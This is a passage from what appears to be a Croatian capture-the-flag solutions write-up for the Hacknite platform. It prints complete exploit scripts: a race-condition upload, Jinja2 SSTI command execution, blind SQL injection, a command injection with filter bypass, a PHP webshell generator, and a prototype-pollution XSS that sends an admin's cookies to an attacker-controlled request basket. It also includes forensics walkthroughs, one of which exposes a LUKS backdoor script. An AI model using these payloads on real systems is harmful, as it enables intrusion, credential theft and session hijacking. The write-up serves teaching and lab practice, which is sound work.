hashed_filename = hashlib.sha256(ORIGINAL_FILENAME.encode()).hexdigest() + '.py'
execute_url = f"{BASE_URL}/execute/{hashed_filename}"
print(f"[*] Payload Filename: {ORIGINAL_FILENAME}")
print(f"[*] Predicted Execute URL: {execute_url}")
login_session = requests.Session()
print(f"[*] Registering user: {username}")
login_session.post(f"{BASE_URL}/register", data={'username': username, 'password': password})
print(f"[*] Logging in as: {username} pass: {password}")
login_resp = login_session.post(f"{BASE_URL}/login", data={'username': username, 'password': password})
if "Executor" not in login_resp.text or login_resp.status_code != 200:
print("[!] Login failed. Could not verify login.")
return
print("[+] Login successfully verified.")
uploader_session = requests.Session()
executor_session = requests.Session()
uploader_session.cookies.update(login_session.cookies)
executor_session.cookies.update(login_session.cookies)
files_payload = {'file': (ORIGINAL_FILENAME, open(ORIGINAL_FILENAME, 'rb'), 'text/x-python')}
upload_task = threading.Thread(target=uploader_thread, args=(uploader_session, files_payload))
execute_task = threading.Thread(target=executor_thread, args=(executor_session, execute_url, SERVER_DELAY))
print("[*] Starting the race...")
upload_task.start()
time.sleep(0.005)
execute_task.start()
upload_task.join()
execute_task.join()
print("\n--- Race Finished ---")
if result.get('status') == 'success':
print("[+] We won the race!")
parse_and_print_result(result.get('content'))
else:
print("[-] Failed to win the race.")
if __name__ == "__main__":
main()
Ovaj zadatak se također može riješiti učitavanjem skripte koja čita flag uz zaobilaženje filtera koji briše skripte sa zabranjenim keywordima.
Prazno
Ova stranica izgleda vrlo prazno, možete li pronaći ulaz? http://chal.platforma.hacknite.hr:14016
Uz zadatak je dan i izvorni kod.
Ranjivost ovog zadatka je SSTI.
Python kod unesen preko 'session_id' kolačića može se izvršiti prilikom renderiranja Jinja2 templatea, ako se stavi unutar oznaka duplih vitičastih zagrada. Kod unutar tog kolačića se može izvršiti samo pri prikazu poruke greške, koja je javlja pri neispravnom “session” kolačiću.
Oblik payload kolačića je:
cookies = {"session": "corrupted-data", "session_id": <payload>}
Nakon potvrde izvršenja koda, potrebno je korištenjem MRO-a pronaći dostupne module i funkcije kojima se može pročitati flag, te ih iskoristiti.
Skripta koja radi opisano, analizira dostupne module i koristi za čitanje flaga je dana u nastavku.
import requests
import re
import html
# --- Configuration ---
TARGET_URL = "http://chal.platforma.hacknite.hr:14016/"
INDEX_ENDPOINT = f"{TARGET_URL}/"
FLAG_REGEX = r"CTF2025\[\d{12}\]"
def send_payload_and_get_clean_output(payload):
"""Sends a payload and returns the clean, HTML-decoded result from the <h3> tag."""
cookies = {"session": "corrupted-data", "session_id": payload}
print(f"[>] Sending payload: {payload}")
try:
r = requests.get(INDEX_ENDPOINT, cookies=cookies, timeout=5)
if '<h3>' in r.text:
result_html = r.text.split('<h3>')[1].split('</h3>')[0]
clean_result = html.unescape(result_html)
print(f"[<] Clean result: {clean_result[:1000]}" + ("..." if len(clean_result) > 1000 else ""))
return clean_result
else:
print("[!] Warning: Server response did not contain the expected '<h3>' tags. It may have failed silently.")
return None
except requests.exceptions.RequestException as e:
print(f"[-] Connection failed: {e}")
return None
def solve():
possible_flag_locations = ['/app/flag.txt', './flag.txt', '../flag.txt']
print(f"[*] Will check the following possible flag locations: {possible_flag_locations}")
print("\n" + "="*50 + "\nSTEP 1: Confirming SSTI\n" + "="*50)
result = send_payload_and_get_clean_output("{{7*7}}")
if result != "49":
print("\n[!] VERDICT: SSTI NOT CONFIRMED. Stopping.")
return
print("\n[+] VERDICT: SSTI CONFIRMED.\n")
print("\n" + "="*50 + "\nSTEP 2: Reconnaissance - Finding Attack Gadgets\n" + "="*50)
subclasses_str = send_payload_and_get_clean_output("{{ ''.__class__.__mro__[1].__subclasses__() }}")
if not subclasses_str: return
class_list = subclasses_str.strip('[]').split(', ')
direct_gadget_index, context_gadget_index = -1, -1
for i, class_name in enumerate(class_list):
if "os._wrap_close" in class_name: direct_gadget_index = i
if "jinja2.runtime.Context" in class_name: context_gadget_index = i
print(f"[+] Found Direct Gadget 'os._wrap_close' at index {direct_gadget_index if direct_gadget_index != -1 else 'N/A'}.")
print(f"[+] Found Context Gadget 'jinja2.runtime.Context' at index {context_gadget_index if context_gadget_index != -1 else 'N/A'}.")
print("\n" + "="*50 + "\nSTEP 3: Attempting Attack Strategy 1 (Direct Gadget)\n" + "="*50)
if direct_gadget_index != -1:
for flag_path in possible_flag_locations:
print(f"[*] Trying flag path: {flag_path}")
payload_s1 = f"{{{{ ''.__class__.__mro__[1].__subclasses__()[{direct_gadget_index}]('cat {flag_path}', 'r').read() }}}}"
result_s1 = send_payload_and_get_clean_output(payload_s1)
if result_s1 and re.search(FLAG_REGEX, result_s1):
print(f"\n[+] SUCCESS! Strategy 1 worked!\n FLAG FOUND: {re.search(FLAG_REGEX, result_s1).group(0)}")
return
print("[!] Strategy 1 failed for all flag paths.")
else:
print("[!] Skipping Strategy 1: Gadget not found.")
print("\n" + "="*50 + "\nSTEP 4: Attempting Attack Strategy 2 (OS Command Injection)\n" + "="*50)
if context_gadget_index != -1:
for flag_path in possible_flag_locations:
print(f"[*] Trying flag path: {flag_path}")
payload_s2 = f"{{{{ ''.__class__.__mro__[1].__subclasses__()[{context_gadget_index}].__init__.__globals__['__builtins__']['__import__']('os').popen('cat {flag_path}').read() }}}}"
result_s2 = send_payload_and_get_clean_output(payload_s2)
if result_s2 and re.search(FLAG_REGEX, result_s2):
print(f"\n[+] SUCCESS! Strategy 2 worked!\n FLAG FOUND: {re.search(FLAG_REGEX, result_s2).group(0)}")
return
print("[!] Strategy 2 failed for all flag paths.")
else:
print("[!] Skipping Strategy 2: Gadget not found.")
print("\n" + "="*50 + "\nSTEP 5: Attempting Attack Strategy 3 (Built-in File Read)\n" + "="*50)
if context_gadget_index != -1:
for flag_path in possible_flag_locations:
print(f"[*] Trying flag path: {flag_path}")
payload_s3 = f"{{{{ ''.__class__.__mro__[1].__subclasses__()[{context_gadget_index}].__init__.__globals__['__builtins__']['open']('{flag_path}').read() }}}}"
result_s3 = send_payload_and_get_clean_output(payload_s3)
if result_s3 and re.search(FLAG_REGEX, result_s3):
print(f"\n[+] SUCCESS! Strategy 3 (Fallback) worked!\n FLAG FOUND: {re.search(FLAG_REGEX, result_s3).group(0)}")
return
print("[!] Strategy 3 failed for all flag paths.")
else:
print("[!] Skipping Strategy 3: Context gadget not found.")
print("\n[!] All attack strategies have been exhausted. Exploit failed.")
if __name__ == "__main__":
solve()
Las Palmas
Napravili smo stranicu gdje developeri mogu predstaviti svoj portfolio, a i sigurnjaci mogu pokazati svoje vještine tako da iz baze izvuku tajni flag. http://chal.platforma.hacknite.hr:14012
Uz zadatak je dan i izvorni kod.
Ranjivost ovog zadatka je second order blind SQL injection.
Umjesto odabira vještine iz dropdown izbornika, može se unijeti SQL injekcija koja će se izvršiti na endpointu pregleda portfolia. No za svaki upit rezultat vraćen iz baze prolazi ovom funkcijom.
def numericLetterGradeMapping(numeric_grade):
if numeric_grade < 0 or numeric_grade > 5:
raise Exception("Invalid numeric grade")
return chr(65 + (5 - numeric_grade) % 6)
Ovo zadatak čini blind, jer je odgovor svakog upita broj između 0 i 4, koji se translatira u slovo A-F.
Zadatak se može napraviti skriptom koja će prvo na izboru vještina postaviti 5 SQL injection blind upita, potom potaknuti njihovo izvršavanje na endpointu za pregled portofolia, sve dok ne sazna sve znakova flaga.
Također, pregledom izvornog koda danog uz zadatak se može vidjeti gdje se nalazi file unutar datoteke
dbFill.py
Opisana skripta dana je u nastavku.
import requests
import string
import time
import sys
# --- Configuration ---
BASE_URL = "http://chal.platforma.hacknite.hr:14012/"
SELECTION_URL = f"{BASE_URL}/"
PORTFOLIO_URL = f"{BASE_URL}/portfolio"
s = requests.Session()
def check_server_status():
try:
r = s.get(BASE_URL, timeout=5)
if r.status_code == 200:
print(f"[+] Server is up at {BASE_URL}")
return True
else:
print(f"[!] Server at {BASE_URL} returned status code {r.status_code}.")
return False
except requests.exceptions.RequestException as e:
print(f"[!] Server at {BASE_URL} is unreachable.")
print(f"[!] Error details: {e}")
return False
def select_skill(skill_payload):
data = {'action': 'select', 'skill': skill_payload}
try:
s.post(SELECTION_URL, data=data, timeout=5)
except requests.exceptions.RequestException as e:
print(f"\n[!] Error during skill selection: {e}")
return False
return True
def remove_skill(skill_payload):
data = {'action': 'remove', 'skill': skill_payload}
try:
s.post(SELECTION_URL, data=data, timeout=5)
except requests.exceptions.RequestException as e:
pass
def check_condition(payload):
if not select_skill(payload):
return None
try:
r = s.get(PORTFOLIO_URL, timeout=5)
except requests.exceptions.RequestException as e:
print(f"\n[!] Error while checking portfolio: {e}")
remove_skill(payload)
return None
remove_skill(payload)
return '<td>A</td>' in r.text
def exploit():
if not check_server_status():
return
print("\n[-] Searching for flag length...")
flag_length = 0
for i in range(1, 22):
payload = f"' UNION SELECT 5 FROM flag WHERE length(flag) = {i} -- "
result = check_condition(payload)
if result is None:
print("[!] Exploit aborted due to connection error.")
return
if result:
flag_length = i
print(f"[+] Found flag length: {flag_length}")
break
else:
sys.stdout.write(f"\r[.] Trying length: {i}")
sys.stdout.flush()
if flag_length == 0:
print("\n[!] Could not determine flag length.")
return
print("\n[-] Extracting the flag...")
charset = string.digits + string.ascii_letters + "[]"
flag = ""
for i in range(1, flag_length + 1):
found_char_for_pos = False
for char in charset:
payload_char = "''" if char == "'" else char
payload = f"' UNION SELECT 5 FROM flag WHERE substr(flag, {i}, 1) = '{payload_char}' -- "
sys.stdout.write(f"\r[.] Flag: {flag}{char}")
sys.stdout.flush()
result = check_condition(payload)
if result is None:
print("\n[!] Exploit aborted due to connection error.")
return
if result:
flag += char
found_char_for_pos = True
break
if not found_char_for_pos:
print(f"\n[!] Could not find character at position {i}.")
flag += "?"
print(f"\n\n[+] SUCCESS! Extracted Flag: {flag}")
if __name__ == "__main__":
exploit()
Nemoguća misija 2025
http://chal.platforma.hacknite.hr:14018
Uz zadatak je dan i izvorni kod.
Ovaj zadatak ima ranjivost u custom implementaciji parsera u datoteci config.html
Ranjiva funkcija je u nastavku.
function parser($uploaded_path, $user_dir, $base) {
// Read the uploaded file
$uploaded = file_get_contents($uploaded_path);
if ($uploaded === false) {
return false;
}
$fileLen = strlen($uploaded);
// Compute MD5 hash in hex
$hex = md5_hex($uploaded);
$shaLen = strlen($hex);
$totalLen = $fileLen + $shaLen;
$concat = $uploaded . $hex;
$out1 = $user_dir . '/' . $base . '.txt';
$out2 = $user_dir . '/' . $base . 'Hash';
// Open files for writing
$f1 = fopen($out1, 'wb');
$f2 = fopen($out2, 'wb');
if (!$f1 || !$f2) {
return false;
}
$copyIdx = 0;
for ($i = 0; $i < $totalLen; $i++) {
$check = $concat[$i];
if (is_invalid_byte($check)) {
continue;
}
if ($i < $fileLen) {
$towrite = $concat[$copyIdx];
fwrite($f1, $towrite);
} else {
$towrite = $concat[$copyIdx];
fwrite($f2, $towrite);
}
$copyIdx++;
if ($copyIdx >= $totalLen) break;
}
fclose($f1);
fclose($f2);
return true;
}
Greška u implementaciji se nalazi u načinu na koji funkcija obrađuje invalid bajt. Ako naiđe na invalid bajt, preskače se ta iteracija petlje s continue statementom, čime će se preskočiti inkrementiranje $copyIdx indeksa, dok će indeks $i biti uvećan.
Na ovaj način se za svaki invalid byte u datoteci koja se Šalje, može upisati jedan željeni bajt u hash datoteku koju server sam generira. Za 16 invalid bajtova se može upisati 16 željenih bajtova u datoteku u kojoj bi server inače spremio MD5 hash učitane datoteke.
Koristeći tu činjenicu i dio konfiguraciju u .htaccess datoteci prikazane u nastavku:
<FilesMatch "^[^.]+$">
ForceType application/x-httpd-php
</FilesMatch>
Može se u datoteci koja se učitava konstruirati PHP webshell koji će se s pomoću manipulacije invalid byteovima nakon parsiranja upisati u datoteku u kojoj bi se inače nalazio MD5 hash, te se radi .htaccess konfiguracije može izvršavati.
Bash skripta koja generira ovakav file za učitavanje, kojim će se dobiti web shell je u nastavku.
#!/bin/bash
md5_hex=$(( echo -n "Hello World! Hello World! Hello World!" | md5sum )| awk '{print $1}')
webshell='<?=`$_GET[cmd]`;?>'
while [ ${#webshell} -lt 32 ]; do
webshell="$webshell "
done
webshell=${webshell:0:32}
(printf '\0%.0s' {1..32}; printf "%s" "$webshell") > aboutMeWebShell.txt
echo "generated aboutMeWebShell.txt"
echo "Web shell: $webshell"
Nakon toga je potrebno pristupiti putanji na kojoj će se dohvatiti PHP webshell na endpointu.
/uploads/<sha256(username)>/aboutMeHash
Na kojoj se mogu izvršavati bash komande preko cmd argumenta, te ostaje samo pročitati flag ENV varijablu.
Hash Browns
Testirajte web sjedište našeg restorana http://chal.platforma.hacknite.hr:14017
Uz zadatak je dan i izvorni kod.
Ranjivost u ovom zadatku je Command injection.
Korisnički unos dan preko stranice se na nesiguran način izvršava kao bash naredba s pomoću subprocess modula.
Zadatak ima filter na ulazu, koji zabranjuje određene unose, te provjeru rezultata izvršene komande, gdje rezultat izvršavanja mora odgovarati SHA256 regexu.
Zadatak se može riješiti na više načina, nakon Što se pronađe način za napraviti command injection koji uspješno prolazi kroz filter, pročitana flag datoteka se ili može eksfiltrirati preko request basketa, ili se može mapirati na hex charset i paddat da odgovara sha256 regexu, ili se mogu izvršavati blind upiti, gdje su pitanja npr. u obliku “ako je tvrda točna vrati sha256(1), ako je tvrdnja netočna vrati sha256(0), kao Što je u skripti rješenja zadatka.
Također se zadatak može riješiti i crackanjem vraćenog sha256 hasha unutar kojega je i vraćen flag, di je jedini nepoznati dio 12 znamenki korištenjem alata hashcat, ako hashcat ima zadovoljavajuć hashrate i koristi grafičku karticu, pa može pretražiti prostor u prihvatljivom vremenu.
Skripta koja rješava zadatak s pomoću blind upita je u nastavku.
import requests
import string
import time
import hashlib
URL = "http://chal.platforma.hacknite.hr:14017/hash"
CHARSET = "CTF[]0123456789"
HASH_OF_TRUE = hashlib.sha256(b"a").hexdigest()
known_flag = ""
position = 1
print(f"'TRUE' signal: {HASH_OF_TRUE}")
print("="*40)
MAX_FLAG_LENGTH = 30
DISCOVERY_PAYLOAD = (
'd=$(printf aa|wc -c);'
'f=$(printf aaaaa|wc -c);'
's=$(printf aaaaaa|wc -c);'
'c=$(ls /usr/bin/sha*sum|grep $d|grep $f|grep $s);'
)
while position <= MAX_FLAG_LENGTH:
found_char_for_pos = False
for char_to_guess in CHARSET:
pos_gen = f"p=$(printf {'a' * position}|wc -c);"
one_gen = 'i=$(printf a|wc -c);'
core_logic = ''
if char_to_guess in string.digits:
num_of_a = int(char_to_guess)
a_string = 'a' * num_of_a
if char_to_guess == '0':
a_string = ''
digit_gen_for_grep = f'g=$(printf "{a_string}"|wc -c);'
core_logic = f'{digit_gen_for_grep}head -c$p f*|tail -c$i|grep -Fq "$g"'
else:
core_logic = f'head -c$p f*|tail -c$i|grep -Fq "{char_to_guess}"'
oracle = '&& printf a|$c || printf b|$c'
command = DISCOVERY_PAYLOAD + pos_gen + one_gen + core_logic + oracle
payload = f"' ; {command} ; #"
print(payload)
json_data = {"user_input": payload}
try:
res = requests.post(URL, json=json_data, timeout=10)
response_json = res.json()
if response_json.get("success") is True:
returned_hash = response_json.get("hash", "")
if returned_hash == HASH_OF_TRUE:
known_flag += char_to_guess
print(f"Found character at position {position}: '{char_to_guess}'")
print(f"Current Flag: {known_flag}")
position += 1
found_char_for_pos = True
if char_to_guess == ']':
print("\nFound closing bracket, flag is complete.")
position = MAX_FLAG_LENGTH + 1
break
except requests.RequestException as e:
print(f"An error occurred: {e}")
time.sleep(1)
if not found_char_for_pos:
print(f"Character at position {position} not found.")
break
print("="*40)
print(f"Exploit finished. Final Flag: {known_flag}")
Eksfiltriraj flag
Možeš li pronaći dobitnu konfiguraciju koja ti otkriva flag? http://chal.platforma.hacknite.hr:14032
Uz zadatak je dan i izvorni kod.
Ranjivost u ovom zadatku je XSS.
zadatku je potrebno konstruirati prototype pollution XSS napad nad stranicom. HOST se treba postaviti u “localhost”, a PORT u 5000 (zadnja linija app.py) umjesto URL-a stranice (sličan pristup kao kod SSRF-a), kako bi admin bot koristio svoj cookie pri posjetu stranice. Potom JavaScript kodom u XSS-u treba adminov cookie pročitati i poslati na vlastiti request basket.
U nastavku je dana JS skripta koja generira link koji se potom pošalje administratoru preko forme na stranici, i nakon toga se na svojem request basketu čeka zabilježeni zahtjev u kojemu će biti admin cookie enkodiran u base64 formatu.
Napomena: u ovoj skripti je potrebno u prvoj liniji koda unijeti URL svojeg request basketa. Koristite request baskets od platforme!
const EXFIL_URL_BASE = "<request basket URL>" //npr. "http://requestbaskets.platforma.hacknite.hr/<endpoint>"
const LOCAL_URL = "http://localhost:5000"
const cfg = {};
Object.defineProperty(cfg, "__proto__", {
value: {
"render": `(() => {
const allCookies = document.cookie; // get all cookies
const encoded = btoa(allCookies);
fetch('${EXFIL_URL_BASE}/' + encoded);
})()`,
"addNote": `(function(title,content){ console.log('addNote-demo', title, content) })`
},
enumerable: true,
configurable: true,
writable: true
});
cfg.font = "Arial, sans-serif";
cfg.background = "#ffffff";
const encodedConfig = encodeURIComponent(JSON.stringify(cfg));
const fullUrlForAdmin = `${LOCAL_URL}/?config=${encodedConfig}`;
console.log("Full URL for admin bot:\n", fullUrlForAdmin);
kanta
PHPMadness
Rješenje zadatka dostupno je ovdje:
Forenzika
gnp.galf
U zadatku je dana samo “gnp.galf” datoteka, koje je zapravo “flag.png” unazad.
No pri pokušaju otvaranja ovog kao slike, vraćena je greška da je file signature nepoznat ili neispravan.
naredbom file nad datotekom ili binwalk, vidi se iz odgovora da nije prepoznat file signature, kao ni ručnom inspekcijom pomoću alata xxd.
Zapravo je i sadržaj same datoteke napisan unazad, kao što je i ime datoteke. Pitanje je jesu li bajtovi unazad ili bitovi. Da su bajtovi izokrenuti, na početku datoteke bi bili GNP bajtovi, no to nije slučaj.
$ xxd gnp.galf | head 00000000: 4106 4275 2272 a292 0000 0000 a822 282e A.Bu"r......."(. 00000010: 0c0c 5c0c 0cd4 8cac 5c9c 2c5c 8c8c 2acc ..\.....\.,\..*. 00000020: 0cb4 9c0c b4ac 4c0c 4c00 0eb6 862e cea6 ......L.L.......
Može se pokušati izokrenuti datoteka po bitovima, bash naredbom
perl -e '$/=\1; while(<>){print scalar reverse pack("B*", unpack("b*",$_))}' < gnp.galf > flagR1.png
file i dalje ne prepoznaje datoteku, ručnom inspekcijom s pomoću xxd može se pročitati početak datoteke:
$ xxd flagR1.png | head 00000000: 8260 42ae 444e 4549 0000 0000 1544 1474 .`B.DNEI.....D.t 00000010: 3030 3a30 302b 3135 3a39 343a 3131 5433 00:00+15:94:11T3 00000020: 302d 3930 2d35 3230 3200 706d 6174 7365 0-90-5202.pmatse
I dalje ne sadrži niti “PNG” niti “GNP”, ali zapravo sadrži “IEND.B” unazad, što je oznaka za kraj PNG datoteke.
Pregledom bajtova na kraju datoteke, može se vidjeti “GNP”.
$ xxd flagR1.png | tail -n 5 00002cf0: 0000 983a 0000 60ea 0000 3075 0000 e880 ...:..`...0u.... 00002d00: 0000 00fa 0000 8480 0000 267a 0000 4d52 ..........&z..MR 00002d10: 4863 2000 0000 616d fd2f 0000 0000 08c8 Hc ...am./...... 00002d20: 0000 00bc 0200 0052 4448 490d 0000 000a .......RDHI..... 00002d30: 1a0a 0d47 4e50 89 ...GNP.
To je naznaka da file treba izokrenuti unazad sada po bajtovima.
To se može napraviti bash naredbom:
xxd -p -c 1 flagR1.png | tac | xxd -r -p > flag.png
Sada je ova datoteka prepoznata kao PNG.
$ file flag.png flag.png: PNG image data, 700 x 200, 8-bit grayscale, non-interlaced
Otvaranjem slike, vidi se da je na slici korišten “swirl” efekt.
Ovaj efekt se može napraviti u suprotnom smjeru, ili alatom kao što je GIMP ili Photoshop ili online alatom.
Unosom vrijednosti za swirl amount -700, dobiva se jasno vidljiv flag.
Hotel
Kada se slastičar Marko vratio u hotel, njegov laptop je bio malo pomaknut, no na to nije obraćao pažnju. Nekoliko dana kasnije, konkurentska firma je počela proizvoditi sladoled iznimno sličan njegovom. Marko sumnja da je njegov laptop kompromitiran. Markov laptop je šifriran. Dopustio ti je da uzmeš forenzičku sliku diska i želi da demonstriraš postojanje "backdoora" tako da pristupiš sadržaju diska. https://ferhr-my.sharepoint.com/:u:/g/personal/bnadarevic_fer_hr/EVFNFEaoWRpGlHPqeeTtlakBVi0WTX5lfGD8pW12d2cf5w?e=qG9Tdk
Uz zadatak je dostupna komprimirana QCOW2 (QEMU Copy-On-Write) slika Linuxa, kojemu je datotečni sustav enkriptiran alatom LUKS (Linux Unified Key Setup)
Nakon ekstrakcije, potrebno je pozicionirati se u isti direktorij kao i slika i napraviti mount negdje u korisnički direktorij.
sudo modprobe nbd max_part=16 sudo qemu-nbd --connect=/dev/nbd0 ./laptop.qcow2 sudo mount /dev/nbd0p1 ~/mount
U tekstu zadatka piše da je Markov laptop šifriran, LUKS je najkorišteniji alat za enkripciju diska kod Linux operacijskih sustava.
$cd ~/mount $ sudo grep -ri "LUKS" ./ grep: ./grub/i386-pc/luks.mod: binary file matches ./grub/i386-pc/moddep.lst:luks: pbkdf2 crypto cryptodisk grep: ./grub/i386-pc/cryptodisk.mod: binary file matches
Vidi se da su prisutni moduli za LUKS.
Pregledom ostalih dostupnih datoteka i direktorija, vidi se da je mountan samo /boot direktorij, on nije šifriran kada se koristi LUKS, zato da se OS može pokrenuti do upita za unos lozinke za LUKS dekripciju.
~/mount$ ls -lah total 125M ... -rw-r--r-- 1 root root 213K srp 10 2020 config-4.15.0-112-generic drwxr-xr-x 5 root root 4,0K ruj 23 13:03 grub -rw-r--r-- 1 root root 56M ruj 23 14:18 initrd.img-4.15.0-112-generic -rw-r--r-- 1 root root 56M ruj 23 14:59 initrd.img-4.15.0-112-generic.bak drwx------ 2 root root 16K ruj 23 13:00 lost+found -rw-r--r-- 1 root root 179K sij 28 2016 memtest86+.bin -rw-r--r-- 1 root root 181K sij 28 2016 memtest86+.elf -rw-r--r-- 1 root root 181K sij 28 2016 memtest86+_multiboot.bin -rw------- 1 root root 3,9M srp 10 2020 System.map-4.15.0-112-generic -rw-r--r-- 1 root root 7,9M kol 7 2020 vmlinuz-4.15.0-112-generic
Sam LUKS alat također nije enkriptiran, jer je on upravo zaslužan za dekripciju datotečnog sustava, zato ga je dobro provjeriti za postojanje nekog backdoora, kao što je spomenuto u tekstu zadatka. Kako bi se LUKS provjerio, potrebno je pregledati initrd (initial RAMdisk, za vrijeme boota se koristi), srećom dostupan je i initrd backup.
~/mount$ ls ... initrd.img-4.15.0-112-generic initrd.img-4.15.0-112-generic.bak ... ~/mount$ file initrd.img-4.15.0-112-generic initrd.img-4.15.0-112-generic: ASCII cpio archive (SVR4 with no CRC) ~/mount$ file initrd.img-4.15.0-112-generic.bak initrd.img-4.15.0-112-generic.bak: ASCII cpio archive (SVR4 with no CRC)
S binwalk alatom se može napravit extract initrd i initrd backupa.
~/mount$ mkdir ../mountTemp ../mountTemp/initrdEX ../mountTemp/initrdEXbak
~/mount$ cd ~/mountTemp/initrdEX
~/mountTemp/initrdEX$ binwalk --extract --directory ./ ../../mount/initrd.img-4.15.0-112-generic
~/mountTemp/initrdEX$ cd ../initrdEXbak
~/mountTemp/initrdEXbak$ binwalk --extract --directory ./ ../../mount/initrd.img-4.15.0-112-generic.bak
~/mountTemp/initrdEXbak$ tree
.
└── _initrd.img-4.15.0-112-generic.bak.extracted
├── 0.cpio
├── 2E4610.cpio
├── 2E4800
├── 2E4800.gz
├── 7000.cpio
...
~/mount$ man cpio / tldr cpio
...
cpio extract nema opciju odabira output direktorija.
Sada je cilj napraviti ekstrakt svih .cpio arhiva iz initrd i iz initrd.bak, te ih međusobno usporediti.
~/mountTemp/initrdEXbak$ file _initrd.img-4.15.0-112-generic.bak.extracted/2E4800 _initrd.img-4.15.0-112-generic.bak.extracted/2E4800: ASCII cpio archive (SVR4 with no CRC)
Ova datoteka nema .cpio ekstenziju, ali je i dalje cpio arhiva. Bash skripta koja radi cpio ekstrakt svih datoteka u trenutačnom direktoriju i svim poddirektorijima rekurzivno za koje naredba file vraća “ASCII cpio archive (SVR4 with no CRC)” je u nastavku.
find . -type f | while read -r f; do if file "$f" | grep -q 'ASCII cpio archive (SVR4 with no CRC)'; then echo "Extracting $f"; cpio -idmv < "$f"; fi; done
Ova naredba/skripta se pokrene i u direktoriju s initrd i initrd backupom.
~/mountTemp/initrdEX$ <prethonda skripta/naredba> ~/mountTemp/initrdEXbak$ <prethonda skripta/naredba>
Sada su svi cpio arhivi raspakirani i sve datoteke u initrd i initrd backupu su dostupne za analizu,može napraviti analiza datoteka koje postoje u jednom, a ne u drugom, kao i razlike unutar samih datoteka, naredbom diff.
~/mountTemp$ diff -r initrdEX initrdEXbak Only in initrdEX/bin: notabackdoor ... diff -r initrdEX/scripts/local-top/cryptroot initrdEXbak/scripts/local-top/cryptroot 301c301 < $cryptkeyscript "$cryptkey" | notabackdoor "$cryptsource" | $cryptopen; then --- > $cryptkeyscript "$cryptkey" | $cryptopen; then ...
Vidi se da samo u initrd/bin postoji datoteka “notabackdoor” koja ne postoji u backupu (starijem stanju) i da se koristi u ključnim operacijama otključavanja datotečnog sustava.
Taj file se može pročitati cat naredbom.
~/mountTemp$ cat ./initrdEX/bin/notabackdoor #!/bin/sh # Read piped input read passphrase backdoor_passphrase="yhinAe4Zdq" #echo -ne "$passphrase\n$backdoor_passphrase\n" | cryptsetup luksAddKey $1 -T1 > /dev/null 2>&1 echo -ne "$passphrase\n$backdoor_passphrase\n" | cryptsetup -v luksAddKey $1 -T1 1>&2 # Echo passphrase out to continue being used in the next pipe echo -n "$passphrase" # Erase all traces we were ever here #rm "$0" # TODO: replace the backdoored line with the original exit 0
Tu se vidi da je postavljen “backdoor_passphrase”.
backdoor_passphrase="yhinAe4Zdq"
Pokušajem unosa ovog passworda za otključavanje datotečnog sustava, datotečni sustav se uspješno otključa.
Sada se može pronaći gdje se nalazi flag datoteka naredbom find te potom pročitati naredbom cat.
...$ find ./ -name "*flag.txt" 2>/dev/null ./home/marko/Desktop/flag.txt ...$ cat ./home/marko/Desktop/flag.txt CTF2025[2623........]
Kada ste gotovi napravite unmount.
sudo umount /mount sudo qemu-nbd --disconnect /dev/nbd0 sudo modprobe -r nbd
Ovaj zadatak se temelji na forenzici "evil maid" napada.
Haxxor
Zaplijenjeno je računalo zloglasnog hakera. Sumnja se da je pokušao svom vođi poslati poruku na neki neobičan način. Možeš li otkriti sadržaj poruke? https://ferhr-my.sharepoint.com/:u:/g/personal/bnadarevic_fer_hr/EZ6L6hOtjnpNpQKFuK5e9jwBL70q_KjiOQeQQTjRw3sFUQ?e=WyfKsB Haxxor: poruka više nije dostupna na internetu, ali možete ju svejedno rekonstruirati
Uz zadatak je dostupna i komprimirana QCOW2 (QEMU Copy-On-Write) slika Kali linuxa.
Nakon ekstrakcije datoteke, potrebno je napraviti mount QCOW2 slike.
Za to je potreban paket qemu-utils
sudo apt install qemu-utils
Nakon toga se može pozicionirati u isti direktorij kao i QCOW2 slika i napraviti mount na /mount (ili npr. na /mnt/kali)
sudo modprobe nbd max_part=16 sudo qemu-nbd --connect=/dev/nbd0 ./kali-linux-2025.2-qemu-amd64.qcow2 #sudo fdisk -l /dev/nbd0 #du -h kali-linux-2025.2-qemu-amd64.qcow2 sudo mount /dev/nbd0p1 /mount
Sada će se preko putanje /mount moći čitati datotečni sustav Kali slike.
/mount$ ls bin dev home initrd.img.old lib32 lost+found mnt proc run srv sys usr vmlinuz boot etc initrd.img lib lib64 media opt root sbin swap tmp var vmlinuz.old $ cd /mount/home/kali/
Nakon inicijalnog pretraživanja može se pronaći da postoji zapisi korištenja FireFox web preglednika, gdje se može pronaći i default user (Profile0 u profiles.ini).
/mount/home/kali/.mozilla/firefox$ cat profiles.ini .... [Profile0] Name=default-esr IsRelative=1 Path=ktp4p5og.default-esr /mount/home/kali/.mozilla/firefox$ cd ktp4p5og.default-esr/
U direktoriju ovog korisnika, jedne od zanimljivijih datoteka su places.sqlite i places.sqlite-wal (iako je u ovom slučaju prazan, sve iz njega je već zapisano u places.sqlite), koji zapisuju određene podatke o posjećenim stranicama
/mount/home/kali/.mozilla/firefox/ktp4p5og.default-esr$ strings places.sqlite
....
https://backend.wplace.live/auth/google?token=...
...
https://wplace.live/Wplace - Paint the world...
aWplace is a collaborative, real-time pixel canvas layered over the world map, where anyone can paint and create art together.https://wplace.live/img/og-image.png
%
http://wplace.live/
...
Vidi se da ima više zabilježenih zapisa o stranici wplace, gdje korisnici mogu bojiti piksele na mapi svijeta. No, kada se šalje zahtjev za postavljanje piksela, to se radi POST zahtjevom, a web preglednici u pravilu ne bilježe POST zahtjeve, iako bilježe iznenađujuće puno drugih stvari.
Među datotekama se nalazi još nešto zanimljivo, to je ZAP.
/mount/home/kali$ ls -lah ... drwxrwxr-x 22 usr usr 4,0K ruj 3 14:43 .ZAP -rw-rw-r-- 1 usr usr 1,8K ruj 3 14:50 zap_root_ca.cer ...
Pregledom spremljenih ZAP sessiona, vidi se da među njima ima zabilježenih zahtjeva kojima se postavljaju pikseli na wplace stranici.
$ strings /mount/home/kali/.ZAP/session*/* | grep 'backend.wplace.live/s0/pixel/' | sort | uniq 9https://backend.wplace.live/s0/pixel/1108/744?x=698&y=422 9https://backend.wplace.live/s0/pixel/1108/744?x=706&y=423 9https://backend.wplace.live/s0/pixel/1108/744?x=718&y=419 GET https://backend.wplace.live/s0/pixel/1108/744?x=698&y=422 HTTP/1.1 GET https://backend.wplace.live/s0/pixel/1108/744?x=706&y=423 HTTP/1.1 GET https://backend.wplace.live/s0/pixel/1108/744?x=718&y=419 HTTP/1.1 GET https://backend.wplace.live/s0/pixel/1108 HTTP/1.1 )https://backend.wplace.live/s0/pixel/1108 -https://backend.wplace.live/s0/pixel/1108/744 POST https://backend.wplace.live/s0/pixel/1108/744 HTTP/1.1
